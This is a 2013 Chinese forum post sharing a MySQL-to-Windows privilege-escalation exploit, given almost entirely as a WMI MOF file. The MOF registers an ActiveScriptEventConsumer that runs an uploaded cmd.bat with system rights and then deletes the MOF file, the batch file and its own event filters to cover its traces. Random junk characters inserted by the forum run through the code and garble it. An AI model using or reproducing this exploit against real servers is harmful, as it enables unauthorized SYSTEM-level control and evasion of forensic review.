找回密码
 立即注册
查看: 2773|回复: 0
打印 上一主题 下一主题

Mysql 提权即时无错Mof exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:05:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个sql提权MOF需要运行 system下的文件,不能定义路径。
! Y( ?1 J! t9 H- i! E+ r" j7 K需要将要运行的命令写入到bat上传到system32目录,然后执行。1 I: n; d& \% r) j& s- U

% X% `* m6 z9 X( C0 x% W& C, Q0 D这个sql提权MOF需要运行 system下的文件,不能定义路径。
5 H$ L# \* \  m: {4 C需要将要运行的命令写入到bat上传到system32目录,然后执行。$ q& d, [  d8 J% ?2 y

6 K+ n- q3 Y$ w8 k; M& o6 ~#pragma/ M& `$ F' ^$ B5 k- W! f
                        namespace("\\\\.\\root\\cimv2")
) ?: v+ l8 P( F, L                        class
; Z) V  x- h7 d( D                        MyClass547
  l) M5 V# z, A. p# x: G# i/ ]                        {           [key]6 {7 ]9 o' e; y. {% g' O
                        string
, [9 W4 Z+ N0 ?# Z% |                        Name;4 ~& G& }* ]# w" R2 l+ q
                        };
; f0 \# w, c+ u4 ^" s7 T! j+ \                        class, _* V' U  ]2 a* I, I" }/ S; ]2 O
                        ActiveScriptEventConsumer
2 n) C$ O5 X' |( P                        : __EventConsumer {          [key]
& W, A4 Z# ^; x3 F5 `% |                        string
- A6 o# Y! y' V7 T                        Name;           [not_null]
; A# }3 i* T/ @8 `$ a  I! I5 U                        string0 a" c: J4 ~" k' A/ T( @
                        ScriptingEngine;           string- k5 }8 R% C3 ?0 u0 d
                        ScriptFileName;           [template]
1 s: u8 s6 C" J                        string
! V# p* \" M; q1 C; Q' a# L) L                        ScriptText;         uint32 KillTimeout;- u$ o% c. r' [0 e/ R
                        }; instance of __Win32Provider as $P {' t) y6 X, P& a% l' w9 D
                        Name
2 Q5 \0 p9 }- V- U; g# Q0 e                        =$ Y4 A8 J( F8 e7 J
                        "ActiveScriptEventConsumer";     CLSID =6 G# R" r: z3 [- A
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";6 [2 N  }+ w8 P) F0 Y
                        PerUserInitialization: n0 k* A7 F+ i& W4 D! r
                        = TRUE;
# _% K5 a9 M% G$ i5 l" A                        }; instance of __EventConsumerProviderRegistration {         Provider* j+ M" {6 J0 ]3 Z5 i
                        = $P;         ConsumerClassNames* @1 @3 I: }+ S) r6 c9 V( Z
                        =, g" G- J/ w+ k( ^( }6 q
                        {"ActiveScriptEventConsumer"};
5 ?6 }: v3 I& I$ f                        };* x) d: y/ y( H1 t
                        Instance of ActiveScriptEventConsumer
! R# i5 b! v9 D. H+ {, h) h. S$ }                        as $cons {         Name8 a( `7 r% E0 U. d
                        =
! b/ E: T2 r$ i! p$ j+ E                        "ASEC";         ScriptingEngine" ], I& Y: I' e' O2 u* |
                        =  \  H. C" N* w7 K# @2 a
                        "JScript";         ScriptText
/ c. V0 \. a7 x# [3 _/ H; P                        =
& `! m' }- ?  p5 S/ e0 I                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
! h2 s1 M' E# D- u' C* }: Z                        Instance of ActiveScriptEventConsumer
: K& n; i4 x0 \- b7 y                        as $cons2 {         Name
) f" S. a" R9 j% T" d( j& c' i                        =
% w1 s) U1 |) q" @" d' e, n& A" @                        "qndASEC";         ScriptingEngine
: R; [* m9 V4 S. a0 C8 z; N                        =
0 H5 O* V) }/ B1 x# U" x                        "JScript";         ScriptText% @3 k, k1 M1 y" G" R. A; ^4 G: F- m
                        =7 U$ B7 f+ ]# y2 l# R4 C( b
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";  {0 g, W( i' }, x2 D1 X
                        }; instance of __EventFilter as $Filt {         Name
  |$ H8 _& ?, d: N' j                        =" W+ I- L- {3 z+ x5 W
                        "instfilt";         Query$ }6 o* }" D; N
                        =$ A) i+ e/ e1 y4 V, e
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
7 R6 Z5 q# }0 o- W  a                        =
2 E1 v' ~$ D0 s3 }% p, O! E9 z* B                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name- e& x6 a& c9 a% A4 f
                        =
* ~, O2 ^1 a& Y( z                        "qndfilt";         Query
; C. P, z4 C" C- p+ S) w! }; a                        =3 j. Q9 q$ T/ V4 g8 T
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
2 c; G: y8 ~7 \/ Y) a' X( e                        =
. s6 E1 ?) T! n) A) Y                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
4 w1 X# N( V4 [; H7 B! B$ ]                        = $cons;         Filter
; _5 L% [! b7 A2 P4 n/ l  _) M                        = $Filt;, J' Z6 L4 H* l$ S! p8 r9 `
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
( N8 ?5 }: v+ @' b( P1 [                        = $cons2;         Filter
. p! y- y% z+ o. S. e                        = $Filt2;
6 A2 t; ?1 d! V9 m5 u                        }; instance of MyClass547
. K" j) X: F% ?" y! X1 D, K                        as $MyClass {         Name" I0 t6 S7 o, n: q! I- y! Y- t3 g
                        =& n7 H8 V3 \9 h" ?' ]3 ], Y
                        "ClassConsumer";
) q* f2 V+ n8 q, x6 ^1 [1 v                        };
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表